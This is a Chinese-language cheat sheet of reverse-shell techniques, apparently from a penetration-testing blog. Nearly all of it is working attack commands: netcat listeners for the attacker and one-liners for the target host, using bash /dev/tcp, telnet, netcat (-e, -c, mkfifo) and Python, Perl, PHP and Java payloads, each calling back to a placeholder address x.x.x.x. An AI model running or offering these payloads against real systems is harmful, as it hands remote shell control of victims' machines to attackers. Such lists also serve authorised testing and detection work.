反弹Shell多种姿势
0X01 Bash反弹
攻击者主机上执行监听:
nc -lvvp port
目标主机上执行:
bash -i >& /dev/tcp/x.x.x.x/port 0>&1
0X02 telnet反弹
攻击者主机上打开两个终端分别执行监听:
nc -lvvp 4444
nc -lvvp 6666
目标主机中执行:
telnet x.x.x.x 4444 | /bin/bash | telnet x.x.x.x 6666
(监听两个端口分别用来输入和输出,反弹shell成功后,在监听4444端口的终端中执行命令可以在另一个终端中看到命令执行结果。)
0X03 netcat反弹
攻击者主机上执行监听命令:
nc -lvvp port
目标主机上执行:
nc -e /bin/bash x.x.x.x port
目标主机不支持-e参数时,还有以下几种方式
-
rm /tmp/f ; mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc x.x.x.x 9999 >/tmp/f
-
nc x.x.x.x 4444|/bin/bash|nc x.x.x.x 5555
-
nc -c /bin/sh x.x.x.x 4444
-
/bin/sh | nc x.x.x.x 4444
0X04 常见脚本反弹
攻击者主机上执行监听命令:
nc -lvvp 6666
目标主机上执行:
(1) Python
python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“x.x.x.x”,6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);’
(2)Perl
方法一:
perl -e ‘use Socket;$i=“x.x.x.x”;$p=6666;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};’
方法二:
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"x.x.x.x:5555");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
(3) PHP
php -r '$sock=fsockopen("x.x.x.x",6666);exec("/bin/bash -i <&3 >&3 2>&3");'
(4) Java
public class Revs {
/**
* @param args
* @throws Exception
*/
public static void main(String[] args) throws Exception {
// TODO Auto-generated method stub
Runtime r = Runtime.getRuntime();
String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/x.x.x.x/6666;cat <&5 | while read line; do $line 2>&5 >&5; done"};
Process p = r.exec(cmd);
p.waitFor();
}
}